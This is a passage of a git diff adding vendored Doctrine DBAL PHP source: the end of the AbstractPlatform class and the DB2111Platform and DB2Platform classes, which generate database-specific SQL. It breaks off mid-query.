{ + if (is_array($item)) { + foreach ($item as $k => $value) { + if (! is_bool($value)) { + continue; + } + + $item[$k] = (int) $value; + } + } elseif (is_bool($item)) { + $item = (int) $item; + } + + return $item; + } + + /** + * Some platforms have boolean literals that needs to be correctly converted + * + * The default conversion tries to convert value into bool "(bool)$item" + * + * @param T $item + * + * @return (T is null ? null : bool) + * + * @template T + */ + public function convertFromBoolean($item) + { + return $item === null ? null : (bool) $item; + } + + /** + * This method should handle the prepared statements case. When there is no + * distinction, it's OK to use the same method. + * + * Note: if the input is not a boolean the original input might be returned. + * + * @param mixed $item A boolean or an array of them. + * + * @return mixed A boolean database value or an array of them. + */ + public function convertBooleansToDatabaseValue($item) + { + return $this->convertBooleans($item); + } + + /** + * Returns the SQL specific for the platform to get the current date. + * + * @return string + */ + public function getCurrentDateSQL() + { + return 'CURRENT_DATE'; + } + + /** + * Returns the SQL specific for the platform to get the current time. + * + * @return string + */ + public function getCurrentTimeSQL() + { + return 'CURRENT_TIME'; + } + + /** + * Returns the SQL specific for the platform to get the current timestamp + * + * @return string + */ + public function getCurrentTimestampSQL() + { + return 'CURRENT_TIMESTAMP'; + } + + /** + * Returns the SQL for a given transaction isolation level Connection constant. + * + * @param int $level + * + * @return string + * + * @throws InvalidArgumentException + */ + protected function _getTransactionIsolationLevelSQL($level) + { + switch ($level) { + case TransactionIsolationLevel::READ_UNCOMMITTED: + return 'READ UNCOMMITTED'; + + case TransactionIsolationLevel::READ_COMMITTED: + return 'READ COMMITTED'; + + case TransactionIsolationLevel::REPEATABLE_READ: + return 'REPEATABLE READ'; + + case TransactionIsolationLevel::SERIALIZABLE: + return 'SERIALIZABLE'; + + default: + throw new InvalidArgumentException('Invalid isolation level:' . $level); + } + } + + /** + * @internal The method should be only used from within the {@see AbstractSchemaManager} class hierarchy. + * + * @return string + * + * @throws Exception If not supported on this platform. + */ + public function getListDatabasesSQL() + { + throw Exception::notSupported(__METHOD__); + } + + /** + * Returns the SQL statement for retrieving the namespaces defined in the database. + * + * @deprecated Use {@see AbstractSchemaManager::listSchemaNames()} instead. + * + * @return string + * + * @throws Exception If not supported on this platform. + */ + public function getListNamespacesSQL() + { + Deprecation::triggerIfCalledFromOutside( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/issues/4503', + 'AbstractPlatform::getListNamespacesSQL() is deprecated,' + . ' use AbstractSchemaManager::listSchemaNames() instead.', + ); + + throw Exception::notSupported(__METHOD__); + } + + /** + * @internal The method should be only used from within the {@see AbstractSchemaManager} class hierarchy. + * + * @param string $database + * + * @return string + * + * @throws Exception If not supported on this platform. + */ + public function getListSequencesSQL($database) + { + throw Exception::notSupported(__METHOD__); + } + + /** + * @deprecated + * + * @param string $table + * + * @return string + * + * @throws Exception If not supported on this platform. + */ + public function getListTableConstraintsSQL($table) + { + throw Exception::notSupported(__METHOD__); + } + + /** + * @deprecated The SQL used for schema introspection is an implementation detail and should not be relied upon. + * + * @param string $table + * @param string $database + * + * @return string + * + * @throws Exception If not supported on this platform. + */ + public function getListTableColumnsSQL($table, $database = null) + { + throw Exception::notSupported(__METHOD__); + } + + /** + * @deprecated The SQL used for schema introspection is an implementation detail and should not be relied upon. + * + * @return string + * + * @throws Exception If not supported on this platform. + */ + public function getListTablesSQL() + { + throw Exception::notSupported(__METHOD__); + } + + /** + * @deprecated + * + * @return string + * + * @throws Exception If not supported on this platform. + */ + public function getListUsersSQL() + { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/4724', + 'AbstractPlatform::getListUsersSQL() is deprecated.', + ); + + throw Exception::notSupported(__METHOD__); + } + + /** + * Returns the SQL to list all views of a database or user. + * + * @internal The method should be only used from within the {@see AbstractSchemaManager} class hierarchy. + * + * @param string $database + * + * @return string + * + * @throws Exception If not supported on this platform. + */ + public function getListViewsSQL($database) + { + throw Exception::notSupported(__METHOD__); + } + + /** + * @deprecated The SQL used for schema introspection is an implementation detail and should not be relied upon. + * + * Returns the list of indexes for the current database. + * + * The current database parameter is optional but will always be passed + * when using the SchemaManager API and is the database the given table is in. + * + * Attention: Some platforms only support currentDatabase when they + * are connected with that database. Cross-database information schema + * requests may be impossible. + * + * @param string $table + * @param string $database + * + * @return string + * + * @throws Exception If not supported on this platform. + */ + public function getListTableIndexesSQL($table, $database = null) + { + throw Exception::notSupported(__METHOD__); + } + + /** + * @deprecated The SQL used for schema introspection is an implementation detail and should not be relied upon. + * + * @param string $table + * + * @return string + * + * @throws Exception If not supported on this platform. + */ + public function getListTableForeignKeysSQL($table) + { + throw Exception::notSupported(__METHOD__); + } + + /** + * @param string $name + * @param string $sql + * + * @return string + */ + public function getCreateViewSQL($name, $sql) + { + return 'CREATE VIEW ' . $name . ' AS ' . $sql; + } + + /** + * @param string $name + * + * @return string + */ + public function getDropViewSQL($name) + { + return 'DROP VIEW ' . $name; + } + + /** + * @param string $sequence + * + * @return string + * + * @throws Exception If not supported on this platform. + */ + public function getSequenceNextValSQL($sequence) + { + throw Exception::notSupported(__METHOD__); + } + + /** + * Returns the SQL to create a new database. + * + * @param string $name The name of the database that should be created. + * + * @return string + * + * @throws Exception If not supported on this platform. + */ + public function getCreateDatabaseSQL($name) + { + if (! $this->supportsCreateDropDatabase()) { + throw Exception::notSupported(__METHOD__); + } + + return 'CREATE DATABASE ' . $name; + } + + /** + * Returns the SQL snippet to drop an existing database. + * + * @param string $name The name of the database that should be dropped. + * + * @return string + */ + public function getDropDatabaseSQL($name) + { + if (! $this->supportsCreateDropDatabase()) { + throw Exception::notSupported(__METHOD__); + } + + return 'DROP DATABASE ' . $name; + } + + /** + * Returns the SQL to set the transaction isolation level. + * + * @param int $level + * + * @return string + * + * @throws Exception If not supported on this platform. + */ + public function getSetTransactionIsolationSQL($level) + { + throw Exception::notSupported(__METHOD__); + } + + /** + * Obtains DBMS specific SQL to be used to create datetime columns in + * statements like CREATE TABLE. + * + * @param mixed[] $column + * + * @return string + * + * @throws Exception If not supported on this platform. + */ + public function getDateTimeTypeDeclarationSQL(array $column) + { + throw Exception::notSupported(__METHOD__); + } + + /** + * Obtains DBMS specific SQL to be used to create datetime with timezone offset columns. + * + * @param mixed[] $column + * + * @return string + */ + public function getDateTimeTzTypeDeclarationSQL(array $column) + { + return $this->getDateTimeTypeDeclarationSQL($column); + } + + /** + * Obtains DBMS specific SQL to be used to create date columns in statements + * like CREATE TABLE. + * + * @param mixed[] $column + * + * @return string + * + * @throws Exception If not supported on this platform. + */ + public function getDateTypeDeclarationSQL(array $column) + { + throw Exception::notSupported(__METHOD__); + } + + /** + * Obtains DBMS specific SQL to be used to create time columns in statements + * like CREATE TABLE. + * + * @param mixed[] $column + * + * @return string + * + * @throws Exception If not supported on this platform. + */ + public function getTimeTypeDeclarationSQL(array $column) + { + throw Exception::notSupported(__METHOD__); + } + + /** + * @param mixed[] $column + * + * @return string + */ + public function getFloatDeclarationSQL(array $column) + { + return 'DOUBLE PRECISION'; + } + + /** + * Gets the default transaction isolation level of the platform. + * + * @see TransactionIsolationLevel + * + * @return TransactionIsolationLevel::* The default isolation level. + */ + public function getDefaultTransactionIsolationLevel() + { + return TransactionIsolationLevel::READ_COMMITTED; + } + + /* supports*() methods */ + + /** + * Whether the platform supports sequences. + * + * @return bool + */ + public function supportsSequences() + { + return false; + } + + /** + * Whether the platform supports identity columns. + * + * Identity columns are columns that receive an auto-generated value from the + * database on insert of a row. + * + * @return bool + */ + public function supportsIdentityColumns() + { + return false; + } + + /** + * Whether the platform emulates identity columns through sequences. + * + * Some platforms that do not support identity columns natively + * but support sequences can emulate identity columns by using + * sequences. + * + * @deprecated + * + * @return bool + */ + public function usesSequenceEmulatedIdentityColumns() + { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/5513', + '%s is deprecated.', + __METHOD__, + ); + + return false; + } + + /** + * Returns the name of the sequence for a particular identity column in a particular table. + * + * @deprecated + * + * @see usesSequenceEmulatedIdentityColumns + * + * @param string $tableName The name of the table to return the sequence name for. + * @param string $columnName The name of the identity column in the table to return the sequence name for. + * + * @return string + * + * @throws Exception If not supported on this platform. + */ + public function getIdentitySequenceName($tableName, $columnName) + { + throw Exception::notSupported(__METHOD__); + } + + /** + * Whether the platform supports indexes. + * + * @deprecated + * + * @return bool + */ + public function supportsIndexes() + { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/4724', + 'AbstractPlatform::supportsIndexes() is deprecated.', + ); + + return true; + } + + /** + * Whether the platform supports partial indexes. + * + * @return bool + */ + public function supportsPartialIndexes() + { + return false; + } + + /** + * Whether the platform supports indexes with column length definitions. + */ + public function supportsColumnLengthIndexes(): bool + { + return false; + } + + /** + * Whether the platform supports altering tables. + * + * @deprecated All platforms must implement altering tables. + * + * @return bool + */ + public function supportsAlterTable() + { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/4724', + 'AbstractPlatform::supportsAlterTable() is deprecated. All platforms must implement altering tables.', + ); + + return true; + } + + /** + * Whether the platform supports transactions. + * + * @deprecated + * + * @return bool + */ + public function supportsTransactions() + { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/4724', + 'AbstractPlatform::supportsTransactions() is deprecated.', + ); + + return true; + } + + /** + * Whether the platform supports savepoints. + * + * @return bool + */ + public function supportsSavepoints() + { + return true; + } + + /** + * Whether the platform supports releasing savepoints. + * + * @return bool + */ + public function supportsReleaseSavepoints() + { + return $this->supportsSavepoints(); + } + + /** + * Whether the platform supports primary key constraints. + * + * @deprecated + * + * @return bool + */ + public function supportsPrimaryConstraints() + { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/4724', + 'AbstractPlatform::supportsPrimaryConstraints() is deprecated.', + ); + + return true; + } + + /** + * Whether the platform supports foreign key constraints. + * + * @deprecated All platforms should support foreign key constraints. + * + * @return bool + */ + public function supportsForeignKeyConstraints() + { + Deprecation::triggerIfCalledFromOutside( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/5409', + 'AbstractPlatform::supportsForeignKeyConstraints() is deprecated.', + ); + + return true; + } + + /** + * Whether the platform supports database schemas. + * + * @return bool + */ + public function supportsSchemas() + { + return false; + } + + /** + * Whether this platform can emulate schemas. + * + * @deprecated + * + * Platforms that either support or emulate schemas don't automatically + * filter a schema for the namespaced elements in {@see AbstractManager::introspectSchema()}. + * + * @return bool + */ + public function canEmulateSchemas() + { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/4805', + 'AbstractPlatform::canEmulateSchemas() is deprecated.', + ); + + return false; + } + + /** + * Returns the default schema name. + * + * @deprecated + * + * @return string + * + * @throws Exception If not supported on this platform. + */ + public function getDefaultSchemaName() + { + throw Exception::notSupported(__METHOD__); + } + + /** + * Whether this platform supports create database. + * + * Some databases don't allow to create and drop databases at all or only with certain tools. + * + * @deprecated + * + * @return bool + */ + public function supportsCreateDropDatabase() + { + Deprecation::triggerIfCalledFromOutside( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/5513', + '%s is deprecated.', + __METHOD__, + ); + + return true; + } + + /** + * Whether the platform supports getting the affected rows of a recent update/delete type query. + * + * @deprecated + * + * @return bool + */ + public function supportsGettingAffectedRows() + { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/4724', + 'AbstractPlatform::supportsGettingAffectedRows() is deprecated.', + ); + + return true; + } + + /** + * Whether this platform support to add inline column comments as postfix. + * + * @return bool + */ + public function supportsInlineColumnComments() + { + return false; + } + + /** + * Whether this platform support the proprietary syntax "COMMENT ON asset". + * + * @return bool + */ + public function supportsCommentOnStatement() + { + return false; + } + + /** + * Does this platform have native guid type. + * + * @deprecated + * + * @return bool + */ + public function hasNativeGuidType() + { + Deprecation::triggerIfCalledFromOutside( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/5509', + '%s is deprecated.', + __METHOD__, + ); + + return false; + } + + /** + * Does this platform have native JSON type. + * + * @deprecated + * + * @return bool + */ + public function hasNativeJsonType() + { + Deprecation::triggerIfCalledFromOutside( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/5509', + '%s is deprecated.', + __METHOD__, + ); + + return false; + } + + /** + * Whether this platform supports views. + * + * @deprecated All platforms must implement support for views. + * + * @return bool + */ + public function supportsViews() + { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/4724', + 'AbstractPlatform::supportsViews() is deprecated. All platforms must implement support for views.', + ); + + return true; + } + + /** + * Does this platform support column collation? + * + * @return bool + */ + public function supportsColumnCollation() + { + return false; + } + + /** + * Gets the format string, as accepted by the date() function, that describes + * the format of a stored datetime value of this platform. + * + * @return string The format string. + */ + public function getDateTimeFormatString() + { + return 'Y-m-d H:i:s'; + } + + /** + * Gets the format string, as accepted by the date() function, that describes + * the format of a stored datetime with timezone value of this platform. + * + * @return string The format string. + */ + public function getDateTimeTzFormatString() + { + return 'Y-m-d H:i:s'; + } + + /** + * Gets the format string, as accepted by the date() function, that describes + * the format of a stored date value of this platform. + * + * @return string The format string. + */ + public function getDateFormatString() + { + return 'Y-m-d'; + } + + /** + * Gets the format string, as accepted by the date() function, that describes + * the format of a stored time value of this platform. + * + * @return string The format string. + */ + public function getTimeFormatString() + { + return 'H:i:s'; + } + + /** + * Adds an driver-specific LIMIT clause to the query. + * + * @param string $query + * @param int|null $limit + * @param int $offset + * + * @throws Exception + */ + final public function modifyLimitQuery($query, $limit, $offset = 0): string + { + if ($offset < 0) { + throw new Exception(sprintf( + 'Offset must be a positive integer or zero, %d given', + $offset, + )); + } + + if ($offset > 0 && ! $this->supportsLimitOffset()) { + throw new Exception(sprintf( + 'Platform %s does not support offset values in limit queries.', + $this->getName(), + )); + } + + if ($limit !== null) { + $limit = (int) $limit; + } + + return $this->doModifyLimitQuery($query, $limit, (int) $offset); + } + + /** + * Adds an platform-specific LIMIT clause to the query. + * + * @param string $query + * @param int|null $limit + * @param int $offset + * + * @return string + */ + protected function doModifyLimitQuery($query, $limit, $offset) + { + if ($limit !== null) { + $query .= sprintf(' LIMIT %d', $limit); + } + + if ($offset > 0) { + $query .= sprintf(' OFFSET %d', $offset); + } + + return $query; + } + + /** + * Whether the database platform support offsets in modify limit clauses. + * + * @deprecated All platforms must implement support for offsets in modify limit clauses. + * + * @return bool + */ + public function supportsLimitOffset() + { + Deprecation::triggerIfCalledFromOutside( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/4724', + 'AbstractPlatform::supportsViews() is deprecated.' + . ' All platforms must implement support for offsets in modify limit clauses.', + ); + + return true; + } + + /** + * Maximum length of any given database identifier, like tables or column names. + * + * @return int + */ + public function getMaxIdentifierLength() + { + return 63; + } + + /** + * Returns the insert SQL for an empty insert statement. + * + * @param string $quotedTableName + * @param string $quotedIdentifierColumnName + * + * @return string + */ + public function getEmptyIdentityInsertSQL($quotedTableName, $quotedIdentifierColumnName) + { + return 'INSERT INTO ' . $quotedTableName . ' (' . $quotedIdentifierColumnName . ') VALUES (null)'; + } + + /** + * Generates a Truncate Table SQL statement for a given table. + * + * Cascade is not supported on many platforms but would optionally cascade the truncate by + * following the foreign keys. + * + * @param string $tableName + * @param bool $cascade + * + * @return string + */ + public function getTruncateTableSQL($tableName, $cascade = false) + { + $tableIdentifier = new Identifier($tableName); + + return 'TRUNCATE ' . $tableIdentifier->getQuotedName($this); + } + + /** + * This is for test reasons, many vendors have special requirements for dummy statements. + * + * @return string + */ + public function getDummySelectSQL() + { + $expression = func_num_args() > 0 ? func_get_arg(0) : '1'; + + return sprintf('SELECT %s', $expression); + } + + /** + * Returns the SQL to create a new savepoint. + * + * @param string $savepoint + * + * @return string + */ + public function createSavePoint($savepoint) + { + return 'SAVEPOINT ' . $savepoint; + } + + /** + * Returns the SQL to release a savepoint. + * + * @param string $savepoint + * + * @return string + */ + public function releaseSavePoint($savepoint) + { + return 'RELEASE SAVEPOINT ' . $savepoint; + } + + /** + * Returns the SQL to rollback a savepoint. + * + * @param string $savepoint + * + * @return string + */ + public function rollbackSavePoint($savepoint) + { + return 'ROLLBACK TO SAVEPOINT ' . $savepoint; + } + + /** + * Returns the keyword list instance of this platform. + * + * @throws Exception If no keyword list is specified. + */ + final public function getReservedKeywordsList(): KeywordList + { + // Store the instance so it doesn't need to be generated on every request. + return $this->_keywords ??= $this->createReservedKeywordsList(); + } + + /** + * Creates an instance of the reserved keyword list of this platform. + * + * This method will become @abstract in DBAL 4.0.0. + * + * @throws Exception + */ + protected function createReservedKeywordsList(): KeywordList + { + $class = $this->getReservedKeywordsClass(); + $keywords = new $class(); + if (! $keywords instanceof KeywordList) { + throw Exception::notSupported(__METHOD__); + } + + return $keywords; + } + + /** + * Returns the class name of the reserved keywords list. + * + * @deprecated Implement {@see createReservedKeywordsList()} instead. + * + * @return string + * @psalm-return class-string + * + * @throws Exception If not supported on this platform. + */ + protected function getReservedKeywordsClass() + { + Deprecation::triggerIfCalledFromOutside( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/issues/4510', + 'AbstractPlatform::getReservedKeywordsClass() is deprecated,' + . ' use AbstractPlatform::createReservedKeywordsList() instead.', + ); + + throw Exception::notSupported(__METHOD__); + } + + /** + * Quotes a literal string. + * This method is NOT meant to fix SQL injections! + * It is only meant to escape this platform's string literal + * quote character inside the given literal string. + * + * @param string $str The literal string to be quoted. + * + * @return string The quoted literal string. + */ + public function quoteStringLiteral($str) + { + $c = $this->getStringLiteralQuoteCharacter(); + + return $c . str_replace($c, $c . $c, $str) . $c; + } + + /** + * Gets the character used for string literal quoting. + * + * @deprecated Use {@see quoteStringLiteral()} to quote string literals instead. + * + * @return string + */ + public function getStringLiteralQuoteCharacter() + { + Deprecation::triggerIfCalledFromOutside( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/5388', + 'AbstractPlatform::getStringLiteralQuoteCharacter() is deprecated.' + . ' Use quoteStringLiteral() instead.', + ); + + return "'"; + } + + /** + * Escapes metacharacters in a string intended to be used with a LIKE + * operator. + * + * @param string $inputString a literal, unquoted string + * @param string $escapeChar should be reused by the caller in the LIKE + * expression. + */ + final public function escapeStringForLike(string $inputString, string $escapeChar): string + { + return preg_replace( + '~([' . preg_quote($this->getLikeWildcardCharacters() . $escapeChar, '~') . '])~u', + addcslashes($escapeChar, '\\') . '$1', + $inputString, + ); + } + + /** + * @return array An associative array with the name of the properties + * of the column being declared as array indexes. + */ + private function columnToArray(Column $column): array + { + $name = $column->getQuotedName($this); + + return array_merge($column->toArray(), [ + 'name' => $name, + 'version' => $column->hasPlatformOption('version') ? $column->getPlatformOption('version') : false, + 'comment' => $this->getColumnComment($column), + ]); + } + + /** @internal */ + public function createSQLParser(): Parser + { + return new Parser(false); + } + + protected function getLikeWildcardCharacters(): string + { + return '%_'; + } + + /** + * Compares the definitions of the given columns in the context of this platform. + * + * @throws Exception + */ + public function columnsEqual(Column $column1, Column $column2): bool + { + $column1Array = $this->columnToArray($column1); + $column2Array = $this->columnToArray($column2); + + // ignore explicit columnDefinition since it's not set on the Column generated by the SchemaManager + unset($column1Array['columnDefinition']); + unset($column2Array['columnDefinition']); + + if ( + $this->getColumnDeclarationSQL('', $column1Array) + !== $this->getColumnDeclarationSQL('', $column2Array) + ) { + return false; + } + + if (! $this->columnDeclarationsMatch($column1, $column2)) { + return false; + } + + // If the platform supports inline comments, all comparison is already done above + if ($this->supportsInlineColumnComments()) { + return true; + } + + if ($column1->getComment() !== $column2->getComment()) { + return false; + } + + return $column1->getType() === $column2->getType(); + } + + /** + * Whether the database data type matches that expected for the doctrine type for the given colunms. + */ + private function columnDeclarationsMatch(Column $column1, Column $column2): bool + { + return ! ( + $column1->hasPlatformOption('declarationMismatch') || + $column2->hasPlatformOption('declarationMismatch') + ); + } + + /** + * Creates the schema manager that can be used to inspect and change the underlying + * database schema according to the dialect of the platform. + * + * @throws Exception + * + * @abstract + */ + public function createSchemaManager(Connection $connection): AbstractSchemaManager + { + throw Exception::notSupported(__METHOD__); + } +} diff --git a/vendor/doctrine/dbal/src/Platforms/DB2111Platform.php b/vendor/doctrine/dbal/src/Platforms/DB2111Platform.php new file mode 100644 index 000000000..40ab42f6e --- /dev/null +++ b/vendor/doctrine/dbal/src/Platforms/DB2111Platform.php @@ -0,0 +1,40 @@ + 0) { + $query .= sprintf(' OFFSET %u ROWS', $offset); + } + + if ($limit !== null) { + if ($limit < 0) { + throw new Exception(sprintf('Limit must be a positive integer or zero, %d given', $limit)); + } + + $query .= sprintf(' FETCH %s %u ROWS ONLY', $offset === 0 ? 'FIRST' : 'NEXT', $limit); + } + + return $query; + } +} diff --git a/vendor/doctrine/dbal/src/Platforms/DB2Platform.php b/vendor/doctrine/dbal/src/Platforms/DB2Platform.php new file mode 100644 index 000000000..b203ce8a0 --- /dev/null +++ b/vendor/doctrine/dbal/src/Platforms/DB2Platform.php @@ -0,0 +1,1044 @@ +getCharMaxLength(); + } + + return parent::getVarcharTypeDeclarationSQL($column); + } + + /** + * {@inheritDoc} + */ + public function getBlobTypeDeclarationSQL(array $column) + { + // todo blob(n) with $column['length']; + return 'BLOB(1M)'; + } + + /** + * {@inheritDoc} + */ + protected function initializeDoctrineTypeMappings() + { + $this->doctrineTypeMapping = [ + 'bigint' => Types::BIGINT, + 'binary' => Types::BINARY, + 'blob' => Types::BLOB, + 'character' => Types::STRING, + 'clob' => Types::TEXT, + 'date' => Types::DATE_MUTABLE, + 'decimal' => Types::DECIMAL, + 'double' => Types::FLOAT, + 'integer' => Types::INTEGER, + 'real' => Types::FLOAT, + 'smallint' => Types::SMALLINT, + 'time' => Types::TIME_MUTABLE, + 'timestamp' => Types::DATETIME_MUTABLE, + 'varbinary' => Types::BINARY, + 'varchar' => Types::STRING, + ]; + } + + /** + * {@inheritDoc} + */ + public function isCommentedDoctrineType(Type $doctrineType) + { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/5058', + '%s() is deprecated and will be removed in Doctrine DBAL 4.0. Use Type::requiresSQLCommentHint() instead.', + __METHOD__, + ); + + if ($doctrineType->getName() === Types::BOOLEAN) { + // We require a commented boolean type in order to distinguish between boolean and smallint + // as both (have to) map to the same native type. + return true; + } + + return parent::isCommentedDoctrineType($doctrineType); + } + + /** + * {@inheritDoc} + */ + protected function getVarcharTypeDeclarationSQLSnippet($length, $fixed/*, $lengthOmitted = false*/) + { + if ($length <= 0 || (func_num_args() > 2 && func_get_arg(2))) { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/issues/3263', + 'Relying on the default string column length on IBM DB2 is deprecated' + . ', specify the length explicitly.', + ); + } + + return $fixed ? ($length > 0 ? 'CHAR(' . $length . ')' : 'CHAR(254)') + : ($length > 0 ? 'VARCHAR(' . $length . ')' : 'VARCHAR(255)'); + } + + /** + * {@inheritDoc} + */ + protected function getBinaryTypeDeclarationSQLSnippet($length, $fixed/*, $lengthOmitted = false*/) + { + if ($length <= 0 || (func_num_args() > 2 && func_get_arg(2))) { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/issues/3263', + 'Relying on the default binary column length on IBM DB2 is deprecated' + . ', specify the length explicitly.', + ); + } + + return $this->getVarcharTypeDeclarationSQLSnippet($length, $fixed) . ' FOR BIT DATA'; + } + + /** + * {@inheritDoc} + */ + public function getClobTypeDeclarationSQL(array $column) + { + // todo clob(n) with $column['length']; + return 'CLOB(1M)'; + } + + /** + * {@inheritDoc} + */ + public function getName() + { + Deprecation::triggerIfCalledFromOutside( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/issues/4749', + '%s() is deprecated. Identify platforms by their class.', + __METHOD__, + ); + + return 'db2'; + } + + /** + * {@inheritDoc} + */ + public function getBooleanTypeDeclarationSQL(array $column) + { + return 'SMALLINT'; + } + + /** + * {@inheritDoc} + */ + public function getIntegerTypeDeclarationSQL(array $column) + { + return 'INTEGER' . $this->_getCommonIntegerTypeDeclarationSQL($column); + } + + /** + * {@inheritDoc} + */ + public function getBigIntTypeDeclarationSQL(array $column) + { + return 'BIGINT' . $this->_getCommonIntegerTypeDeclarationSQL($column); + } + + /** + * {@inheritDoc} + */ + public function getSmallIntTypeDeclarationSQL(array $column) + { + return 'SMALLINT' . $this->_getCommonIntegerTypeDeclarationSQL($column); + } + + /** + * {@inheritDoc} + */ + protected function _getCommonIntegerTypeDeclarationSQL(array $column) + { + $autoinc = ''; + if (! empty($column['autoincrement'])) { + $autoinc = ' GENERATED BY DEFAULT AS IDENTITY'; + } + + return $autoinc; + } + + /** + * {@inheritDoc} + */ + public function getBitAndComparisonExpression($value1, $value2) + { + return 'BITAND(' . $value1 . ', ' . $value2 . ')'; + } + + /** + * {@inheritDoc} + */ + public function getBitOrComparisonExpression($value1, $value2) + { + return 'BITOR(' . $value1 . ', ' . $value2 . ')'; + } + + /** + * {@inheritDoc} + */ + protected function getDateArithmeticIntervalExpression($date, $operator, $interval, $unit) + { + switch ($unit) { + case DateIntervalUnit::WEEK: + $interval *= 7; + $unit = DateIntervalUnit::DAY; + break; + + case DateIntervalUnit::QUARTER: + $interval *= 3; + $unit = DateIntervalUnit::MONTH; + break; + } + + return $date . ' ' . $operator . ' ' . $interval . ' ' . $unit; + } + + /** + * {@inheritDoc} + */ + public function getDateDiffExpression($date1, $date2) + { + return 'DAYS(' . $date1 . ') - DAYS(' . $date2 . ')'; + } + + /** + * {@inheritDoc} + */ + public function getDateTimeTypeDeclarationSQL(array $column) + { + if (isset($column['version']) && $column['version'] === true) { + return 'TIMESTAMP(0) WITH DEFAULT'; + } + + return 'TIMESTAMP(0)'; + } + + /** + * {@inheritDoc} + */ + public function getDateTypeDeclarationSQL(array $column) + { + return 'DATE'; + } + + /** + * {@inheritDoc} + */ + public function getTimeTypeDeclarationSQL(array $column) + { + return 'TIME'; + } + + /** + * {@inheritDoc} + */ + public function getTruncateTableSQL($tableName, $cascade = false) + { + $tableIdentifier = new Identifier($tableName); + + return 'TRUNCATE ' . $tableIdentifier->getQuotedName($this) . ' IMMEDIATE'; + } + + /** + * @deprecated The SQL used for schema introspection is an implementation detail and should not be relied upon. + * + * This code fragment is originally from the Zend_Db_Adapter_Db2 class, but has been edited. + * + * @param string $table + * @param string $database + * + * @return string + */ + public function getListTableColumnsSQL($table, $database = null) + { + $table = $this->quoteStringLiteral($table); + + // We do the funky subquery and join syscat.columns.default this crazy way because + // as of db2 v10, the column is CLOB(64k) and the distinct operator won't allow a CLOB, + // it wants shorter stuff like a varchar. + return " + SELECT + cols.default, + subq.* + FROM ( + SELECT DISTINCT + c.tabschema, + c.tabname, + c.colname, + c.colno, + c.typename, + c.codepage, + c.nulls, + c.length, + c.scale, + c.identity, + tc.type AS tabconsttype, + c.remarks AS comment, + k.colseq, + CASE + WHEN c.generated = '" . self::SYSCAT_COLUMNS_GENERATED_DEFAULT . "' THEN 1 + ELSE 0 + END AS autoincrement + FROM syscat.columns c + LEFT JOIN (syscat.keycoluse k JOIN syscat.tabconst tc + ON (k.tabschema = tc.tabschema + AND k.tabname = tc.tabname + AND tc.type = '" . self::SYSCAT_TABCONST_TYPE_PRIMARY_KEY . "')) + ON (c.tabschema = k.tabschema + AND c.tabname = k.tabname + AND c.colname = k.colname) + WHERE UPPER(c.tabname) = UPPER(" . $table . ') + ORDER BY c.colno + ) subq + JOIN syscat.columns cols + ON subq.tabschema = cols.tabschema + AND subq.tabname = cols.tabname + AND subq.colno = cols.colno + ORDER BY subq.colno + '; + } + + /** + * @deprecated The SQL used for schema introspection is an implementation detail and should not be relied upon. + * + * {@inheritDoc} + */ + public function getListTablesSQL() + { + return "SELECT NAME FROM SYSIBM.SYSTABLES WHERE TYPE = '" . self::SYSIBM_SYSTABLES_TYPE_TABLE . "'" + . ' AND CREATOR = CURRENT_USER'; + } + + /** + * {@inheritDoc} + * + * @internal The method should be only used from within the {@see AbstractSchemaManager} class hierarchy. + */ + public function getListViewsSQL($database) + { + return 'SELECT NAME, TEXT FROM SYSIBM.SYSVIEWS'; + } + + /** + * @deprecated The SQL used for schema introspection is an implementation detail and should not be relied upon. + * + * {@inheritDoc} + */ + public function getListTableIndexesSQL($table, $database = null) + { + $table = $this->quoteStringLiteral($table); + + return "SELECT idx.INDNAME AS key_name, + idxcol.COLNAME AS column_name, + CASE + WHEN idx.UNIQUERULE = '" . self::SYSCAT_INDEXES_UNIQUERULE_IMPLEMENTS_PRIMARY_KEY . "' + THEN 1 + ELSE 0 + END AS primary, + CASE + WHEN idx.UNIQUERULE = '" . self::SYSCAT_INDEXES_UNIQUERULE_PERMITS_DUPLICATES . "' + THEN 1 + ELSE 0 + END AS non_unique + FROM SYSCAT.INDEXES AS idx + JOIN SYSCAT.INDEXCOLUSE AS idxcol + ON idx.INDSCHEMA = idxcol.INDSCHEMA AND idx.INDNAME = idxcol.INDNAME + WHERE idx.TABNAME = UPPER(" . $table . ') + ORDER BY idxcol.COLSEQ ASC'; + } + + /** + * @deprecated The SQL used for schema introspection is an implementation detail and should not be relied upon. + * + * {@inheritDoc} + */ + public function getListTableForeignKeysSQL($table) + { + $table = $this->quoteStringLiteral($table); + + return "SELECT fkcol.COLNAME AS local_column, + fk.REFTABNAME AS foreign_table, + pkcol.COLNAME AS foreign_column, + fk.CONSTNAME AS index_name, + CASE + WHEN fk.UPDATERULE = '" . self::SYSCAT_REFERENCES_UPDATERULE_RESTRICT . "' THEN 'RESTRICT' + ELSE NULL + END AS on_update, + CASE + WHEN fk.DELETERULE = '" . self::SYSCAT_REFERENCES_DELETERULE_CASCADE . "' THEN 'CASCADE' + WHEN fk.DELETERULE = '" . 